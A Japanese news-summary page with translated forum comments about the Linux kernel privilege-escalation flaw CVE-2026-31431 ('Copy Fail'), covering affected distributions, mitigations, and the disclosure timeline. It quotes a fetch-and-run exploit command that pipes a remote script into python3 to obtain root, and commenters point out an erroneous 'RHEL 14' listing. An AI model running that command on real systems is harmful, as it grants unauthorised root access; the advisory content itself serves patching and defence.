ハクソク

世界を動かす技術を、日本語で。

コピー失敗 – CVE-2026-31431

4時間前原文(copy.fail)

概要

Copy Failは、2017年からパッチ適用までの間にビルドされたLinuxカーネルに影響する深刻な脆弱性。
ほぼ全ての主要ディストリビューションがデフォルトで影響範囲内。
ローカルの非特権ユーザーがroot権限を取得可能。
**PoC（実証コード）**が公開されており、緊急のパッチ適用が推奨される。
AF_ALGモジュールの無効化による一時的な緩和策も案内。

Copy Fail（CVE-2026-31431）脆弱性の概要

  • 同一のexploitバイナリが、複数のLinuxディストリビューションで無修正のまま動作
  • tmuxを使ったライブデモで、4つの異なるディストリビューションでroot shell取得を実演
  • **AF_ALG（カーネル暗号API）**がデフォルトで有効なため、2017年～パッチ適用までの全期間が影響範囲
  • 検証済みディストリビューション例
    • Ubuntu 24.04 LTS（カーネル6.17.0-1007-aws）
    • Amazon Linux 2023（6.18.8-9.213.amzn2023）
    • RHEL 14（6.12.0-124.45.1.el10_1）
    • SUSE 16（6.12.0-160000.9-default）
    • その他、Debian、Arch、Fedora、Rocky、Alma、Oracle等も同様に影響
  • 追加検証結果の報告受付（GitHub Issueにて）

影響範囲とリスク評価

  • 高リスク：マルチテナントLinuxホスト
    • 開発用共有サーバ、ジャンプホスト、CIビルドサーバ等、複数ユーザーが同一カーネルを共有する環境
    • 任意ユーザーがroot化可能
  • 高リスク：Kubernetesやコンテナクラスタ
    • ページキャッシュがホスト間で共有されるため、特定のPodからノード全体やテナント境界を突破
  • 高リスク：CIランナーやビルドファーム
    • GitHub ActionsやGitLab Runner等で、PRコード実行時にroot奪取
  • 高リスク：クラウドSaaS上のユーザーコード実行基盤
    • Notebookホスト、サンドボックス、サーバーレス関数等でテナントがホストrootを取得
  • 中リスク：標準的なLinuxサーバ
    • シングルテナント運用（内部LPE、他攻撃との組み合わせでリスク上昇）
  • 低リスク：シングルユーザーPCやワークステーション
    • 既に唯一のユーザーであるため、主にpost-exploitation用途

Exploit（実証コード）情報

  • PoC（copy_fail_exp.py）はPython 3.10+ 標準ライブラリのみで動作
    • デフォルトで**/usr/bin/su**をターゲットとし、任意のsetuidバイナリも指定可能
    • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
    • 実行例
      • $ curl https://copy.fail/exp | python3 && su
      • 実行後、idコマンドでroot権限を確認可能
  • 注意事項
    • 必ず所有または許可されたシステムのみで実行
    • ページキャッシュ編集のため、再起動で変更は消失するが、root shell自体は実際に取得

緩和策とパッチ

  • 最優先：カーネルパッチ適用
    • mainline commit a664bf3d603dを含むカーネルパッケージへアップデート推奨
    • 2017年のalgif_aead in-place最適化をロールバックし、ページキャッシュが書き込みscatterlistに入らないよう修正
  • パッチ前の暫定対策
    • algif_aeadモジュールの無効化
      • /etc/modprobe.d/disable-algif.confにinstall algif_aead /bin/falseを記載
      • rmmod algif_aeadでモジュールをアンロード（既にロードされていなければ無視）
  • 影響しない代表例
    • dm-crypt / LUKS、kTLS、IPsec/XFRM、in-kernel TLS、OpenSSL/GnuTLS/NSSのデフォルト、SSH、カーネルキーチェーン暗号
  • 影響する可能性がある例
    • AF_ALGを明示的に有効化したOpenSSLや、一部組み込み用途、AF_ALGソケットを直接使うアプリ
    • lsof | grep AF_ALGやss -xaで利用状況を確認
  • パフォーマンス影響
    • AF_ALG無効化による速度低下は限定的（通常はユーザ空間暗号ライブラリへフォールバック）
  • CIやサンドボックス等の不正コード実行環境では、パッチ有無に関わらずseccompでAF_ALGソケット作成をブロック推奨

FAQ・開示タイムライン

  • 2026-03-23 Linux kernelセキュリティチームへ報告
  • 2026-03-24 初回受領
  • 2026-03-25 パッチ提案・レビュー
  • 2026-04-01 メインラインへパッチコミット
  • 2026-04-22 CVE-2026-31431割り当て
  • 2026-04-29 公開（https://copy.fail/）

Xint Codeについて

  • Copy Failは、Xint Codeによる自動スキャンで発見
    • Linux crypto/サブシステムを約1時間スキャンで検出
    • 根本原因・図解・発見プロンプトはXintブログで公開
    • 他にも複数の高深刻度バグを同時発見（詳細は調整中）
  • Xint Codeの実績
    • ZeroDay Cloud（Redis、PostgreSQL、MariaDB等のRCE自動発見）
    • DARPA AIxCC Top 3ファイナリスト
    • DEF CON CTF最多優勝チーム
  • 問い合わせ先
    • Xint Codeチームへのコンタクト推奨（詳細は公式サイト参照）

緊急性が高いため、直ちにカーネルパッチ適用とAF_ALG無効化の検討を推奨。
PoC公開済みのため、攻撃リスクが非常に高い状況。

Hackerたちの意見

誰か、読みやすいバージョンのエクスプロイトって手に入る？正直、バイナリZIPの解釈を目で見て理解する授業、2回も落ちちゃったんだよね。
└
バイナリの「ZIP」はエクスプロイトじゃなくて、シェルコードだよ。エクスプロイトはそれ以外の部分で、SUID実行ファイル（su）のコードを変更するんだ。
└
zlibの呼び出しは、基本的に最小限のELFを`su`バイナリの一部に上書きして、/bin/shを実行するんだよね。
緩和策について、ページには基本的にこう書いてあるよね。 > 「ディストリビューションのカーネルパッケージを、メインラインのコミットa664bf3d603dを含むものに更新してください。」 でも、どのカーネルバージョンにそれが含まれているのか、ちょっと分かりにくいな。Arch/CachyOSの場合、パッチは6.18.22以上、6.19.12以上、7.0以上に含まれているみたい。もし同じ安定版の下位バージョンを使っているなら、今は脆弱性がある可能性が高いよ。他のバージョンに修正が含まれているディストリビューションカーネルもあるから、自分のディストリビューションを確認してみて。
└
大手OSベンダーは修正バージョンのページを公開するよね。 https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 それに、algif_aeadを無効にすることも緩和策として提案されてる。
└
リモートが https://github.com/torvalds/linux.git と https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git のgitリポジトリで、コミット a664bf3d603d のコミットメッセージを検索すると、以下のタグが修正を含んでいることがわかる: v6.18.22 v6.18.23 v6.18.24 v6.18.25 v6.19.12 v6.19.13 v6.19.14 v7.0 v7.0.1 v7.0.2 v7.0-rc7 v7.1-rc1
これすごいね。ページにはRHEL 14.3で動くって書いてあるけど、そんなの存在しないよ。今のRHELは10.xだし、これはTARDISで作られたに違いない。
└
> これすごいね。ページにはRHEL 14.3で動くって書いてあるけど、そんなの存在しないよ。今のRHELは10.xだし、これはTARDISで作られたに違いない。確かに。「直接確認したディストリビューション: RHEL 14.3」。俺が直接確認したら、AIの適当な情報だった（少なくともリリースページはね）。 https://access.redhat.com/articles/red-hat-enterprise-linux-... > ページの下部でセキュリティ専門家に相談してみて。彼の名前、クロードっていう気がするんだよね。でも、誤解しないで、彼は結構優秀らしいよ。
└
同じ行に「カーネルバージョン 6.12.0-124.45.1.el10_1」と書いてあるね。これはRHEL 10だ。この手のタイプミスは人間がよくやるやつで、難しい数字はコピペだから正確だけど、「簡単」な数字には間違いがあるってわけ。
└
14.3はRed Hat特有のGCCバージョンから来てるみたいで、「gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)」として報告されることがある。ググって見つけたランダムな例を見てみて: https://github.com/anthropics/claude-code/issues/40741 （システムバージョンの下に含まれる「Red Hat 14.3」のgccバージョン） https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
└
うわ、ごめん、修正するべきだった。問題を説明するために情報を集めるのにバタバタしてて（もちろんマーケティングもね）、ちょっとしたミスがあった。指摘してくれてありがとう！
「RHEL 14.3」って何？このサイトは一発ネタだったのかな。質が高いね。
ページ自体はちょっと雰囲気があって、広告っぽい感じもするけど、脆弱性は本当にあってリスクが高いみたい。最近受け取った大きなセキュリティアップデートの理由も分かったし、今日は更新を優先しようかな。
「バイト数」のフェティシズム（ここでは「732バイトのPythonスクリプト」として）は、特に実際の失敗モードを示そうとしている文脈ではやめるべきだね。ソースコードを見てみると、最初の行はこうなってる：import os as g,zlib,socket as s もうこれで混乱してる。「os as g」？でも「zlib as z」ってエイリアスしてないよね？明らかに何かのミニマイザーによって自動生成されたものだろうね。zlibは一度しか呼ばれないし、osは何度も呼ばれるから。コードの著者/レビュアーとして、絶対に「os as g」なんて書かないし、こんなのを使ったコードのレビューも絶対に承認しないよ。まあ、まだまだ言いたいことはあるけど。:) とにかく、バイト数をフェティシズムするのはやめよう。[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
└
>「コードの著者/レビュアーとして、絶対に「os as g」なんて書かないし、こんなのを使ったコードのレビューも絶対に承認しないよ。」 どれくらいの頻度でレビューして、その後この手のPoCのリリースをブロックするの？たくさん経験してるみたいだね。意図を伝えられれば、コードの品質はあまり重要じゃないと思ってたけど。
└
これはただの怠惰なAI*が編集なしで書いたものだね。「ただ」って言葉がすごく働いてるから、読んでてイライラする。まるで反広告みたいで、結構クールな素材があったのに。* クロードはスタカートが好きなんだ。「ある数値。別の何か。強調表現」（例：「10年間利用可能。」とかそんな文）
└
>「コードの著者/レビュアーとして、絶対に「os as g」なんて書かないし、こんなのを使ったコードのレビューも絶対に承認しないよ。」 彼らにとってはラッキーだね、これはエクスプロイトスクリプトであって、エンタープライズコードじゃないから。レビューすべきは、ちゃんと目的のものをエクスプロイトしてるかどうかだけだよ。追記：10行のPoCスクリプトがコードレビューを受けるべきだと思ってるの？すごいね。クールなLPEエクスプロイトのトップコメントが変数名について文句言ってるのを見て驚くべきじゃないね。
└
これは90年代のC rootshell.orgのエクスプロイトに比べたらかなり読みやすいね。
└
バイト数をフェティシズムしてるとは思わないな。むしろ、エクスプロイトがどれくらい複雑かシンプルかを測る指標だと思ってる。彼らは「3行のPythonでできる」とか「スクリプトのシャノンエントロピーはすごく小さい」と言っても同じように解釈したと思う。君はこの「フェティシズム」がどこで一番よく見られると思う？ ちょっと奇妙な反フェティシズムだよね。
└
732バイトの件は私もよくわからないけど、名前付き脆弱性のための比較的インパクトがあって、珍しく情報量が多いランディングページだと思う。ただ、こういう小さな引っかかりがあちこちにあるのも事実。でも、カーネル実行のLPEじゃないし、カーネルやディストリビューションを超えて信頼性があるのは重要だよね。LPEで見られる「悪用可能性」の最大に近いから。ページはそれをうまく伝えてるけど、ちょっと飾りすぎかな。
└
> とにかく、まだまだ話せるよ。 じゃあ、続けて。zlibは一度しか使われてないから、「zlibをzとして使う」ってのは何も得られない。ただ、osを直接使ってgに名前を変えないと2バイト節約できるけどね。でも、AIがすぐに大量のコードを出力する時代に、ルートシェルをどれだけ小さくできるか楽しんじゃいけない理由はないよね？ https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe... 編集: offset_src=0を省いて0を位置引数として渡すと、720になるよ。
└
llmsはそれが大好きだよね。「正直な解決策：クリーンな50行のカット」とか、もううんざりするくらい。
└
読者が理解できるコードにミニマイザーを使うのはあまり意味がないと思うけど、CVEの再現のためのコードゴルフされたバイト数は、その複雑さをある意味で直感的に伝えてるよね。
開示プロセス中に何か混乱があったみたいで、ベンダーはこの脆弱性を深刻なものとして扱っていないし、多くのディストリビューションでは未修正のままだね。 https://access.redhat.com/security/cve/cve-2026-31431 「中程度の深刻度」、「修正は保留」 https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://www.suse.com/security/cve/CVE-2026-31431.html
└
うん、あのページにリンクされているUbuntuのガイドラインによれば、これの優先度は高いはずなのに、代わりに中程度にマークされてるね。
└
ディストロはこれを中程度のリスクと見なしているみたい。リモートコード実行が関与しないし、ローカルアクセスが必要だからね。でも、ローカルのルート権限昇格ができるから、これは高優先度とされてる。 > 中程度：重要な問題で、通常は多くのユーザーに対して悪用可能。ネットワークデーモンのサービス拒否、クロスサイトスクリプティング、ユーザー権限の取得が含まれる。
面白いことに、私の `su` は世界中から読めないから失敗するんだよね。 $ stat /bin/su File: /bin/su Size: 59552 Blocks: 118 IO Block: 59904 regular file Device: 0,52 Inode: 796854 Links: 1 Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2023-09-18 13:23:03.117105665 -0500 Modify: 2021-02-13 05:15:56.000000000 -0600 Change: 2023-09-18 13:23:03.119105665 -0500 Birth: 2023-09-18 13:23:03.117105665 -0500 私が持ってるsetuid/setgidのバイナリが世界中から読めるかどうかはわからないな…。
└
ひとつの対策として、すべてのsetuid/setgidファイルを非世界読み取りにするってのがあるかも。そうすれば、全く開けなくなるから、内容を置き換えるsetuidファイルもなくなるし。
提案された緩和策（カーネルモジュール`algif_aead`をmodprobe設定で無効にする）を使いたいけど、実際のルートシェルを得るためにあの難解なシェルコードを実行したくない場合、モジュールが読み込めるかだけを確認するための最初の数行の読みやすいバージョンはこれだよ：python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aeadはおそらく正常に読み込まれました。緩和策は効果がありません；再度削除するには: rmmod algif_aead")' 同様に、緩和策が適用されているときは、modprobe algif_aeadはエラーで失敗するはず。
エージェントの皆さん、それが気になるなら、インタラクティブだから「su」へのアクセスをブロックしておくといいよ。メモリに読み込まないようにすれば、攻撃を防げるからね。AgentSH（https://www.agentsh.org）を使っているなら、「su」をブロックするルールを追加すれば、さらにAF_ALGソケットもブロックできるようになるよ。